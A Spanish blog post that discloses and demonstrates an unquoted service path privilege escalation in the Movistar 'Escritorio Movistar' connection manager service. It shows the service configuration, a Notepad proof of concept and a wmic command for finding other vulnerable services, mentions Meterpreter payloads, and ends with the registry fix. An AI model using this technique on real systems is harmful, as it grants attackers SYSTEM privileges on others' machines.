El Escritorio Movistar, un servicio con ruta sin comillas más espacios... y hasta dentro (escalado de privilegios local)

Hoy vamos a ver una vulnerabilidad que Gjoko 'LiquidWorm' Krstic (@zeroscience) reportó a Telefónica el 23 de septiembre y que, después de días de absoluta ignorancia, ha decidido publicar (fuente aquí). 

Afecta a la versión 8.7.6.792 del gestor de conexiones 'Escritorio Movistar', aunque yo lo he probado en la versión 8.6.5.594 y también es vulnerable:



En concreto es un fallo en el servicio TGCM_ImportWiFiSvc que no entrecomilla la ruta del ejecutable que llama:

C:\>sc qc TGCM_ImportWiFiSvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: TGCM_ImportWiFiSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: d:\Program Files (x86)2\Movistar\Escritorio Movistar\ImpWiFiSvc.exe
         GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : TGCM_ImportWiFiSvc
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

C:\>icacls "d:\Program Files (x86)2\Movistar\Escritorio Movistar\ImpWiFiSvc.exe"

d:\Program Files (x86)2\Movistar\Escritorio Movistar\ImpWiFiSvc.exe BUILTIN\Administradores:(I)(F)
                                                                    NT AUTHORITY\SYSTEM:(I)(F)
                                                                    NT AUTHORITY\Usuarios autentificados:(I)(M)
                                                                    BUILTIN\Usuarios:(I)(RX)

Se procesaron correctamente 1 archivos; error al procesar 0 archivos

Es la vulnerabilidad conocida como "Unquoted Service Paths" o también "Trusted Path Privilege Escalation" y puede permitir que un servicio de Windows procese cualquier programa que esté antes de un espacio en su ruta sin entrecomillar. En nuestro caso:

    d:\Program.exe Files (x86)2\Movistar\Escritorio Movistar\ImpWiFiSvc.exe

    d:\Program Files (x86)2\Movistar\Escritorio.exe Movistar\ImpWiFiSvc.exe

Para la prueba de concepto crearemos un fichero batch que luego haremos ejecutable y que llamará silenciosamente al Notepad:


Después simplemente pondremos Escritorio.exe en su ruta correspondiente:


Y al reiniciar el servicio veremos que ejecuta nuestro binario:

D:\Program Files (x86)2\Movistar>net stop TGCM_ImportWiFiSvc
El servicio de TGCM_ImportWiFiSvc está deteniéndose.
El servicio de TGCM_ImportWiFiSvc se detuvo correctamente.


D:\Program Files (x86)2\Movistar>net start TGCM_ImportWiFiSvc
El servicio no está respondiendo a la función de control.

Puede obtener más ayuda con el comando NET HELPMSG 2186.


Si en vez de ser un simple Notepad ponemos un script que cambie la contraseña del administrador local o por ejemplo un payload para una sesión de Meterpreter, cuando reinicie nuestro equipo (con Windows 7) se ejecutará como SYSTEM y habremos primero escalado privilegios y luego enteramente comprometido la máquina.

Además existe desde hace tiempo un módulo de Metasploit que se aprovecha de este fallo: http://www.rapid7.com/db/modules/exploit/windows/local/trusted_service_path

Como veis este tipo de vulnerabilidades que aparentemente son tan tontas y sencillas de explotar son también muy peligrosas. Además aunque son bastante viejas parece que siguen vigentes en nuestro días... si ejecutáis el siguiente comando seguro que comprobaréis que el servicio del Escritorio Movistar no es el único afectado actualmente:

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

Acunetix WVS Scheduler v8     AcuWVSSchedulerv8     D:\Program Files (x86)2\Acunetix\Web Vulnerability Scanner 8\WVSScheduler.exe
                                Auto
Intel(R) Dynamic Application Loader Host Interface Service     jhi_service     C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
                                Auto
Intel(R) Management and Security Application Local Management Service   LMS C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
                                Auto    
Privacyware network service     PFNet     C:\Program Files (x86)\Privacyware\Privatefirewall 7.0\pfsvc.exe
                                Auto
TGCM_ImportWiFiSvc     TGCM_ImportWiFiSvc     d:\Program Files (x86)2\Movistar\Escritorio Movistar\ImpWiFiSvc.exe
                                Auto

Por último, si quieres solucionar manualmente esta vulnerabilidad en vez de esperar sentado a que el fabricante publique un parche, edita el registro y busca el servicio en cuestión en HKLM\SYSTEM\CurrentControlSet\services para ¡¡¡poner las malditas comillas!!!.

Buen fin de semana.

2 comentarios :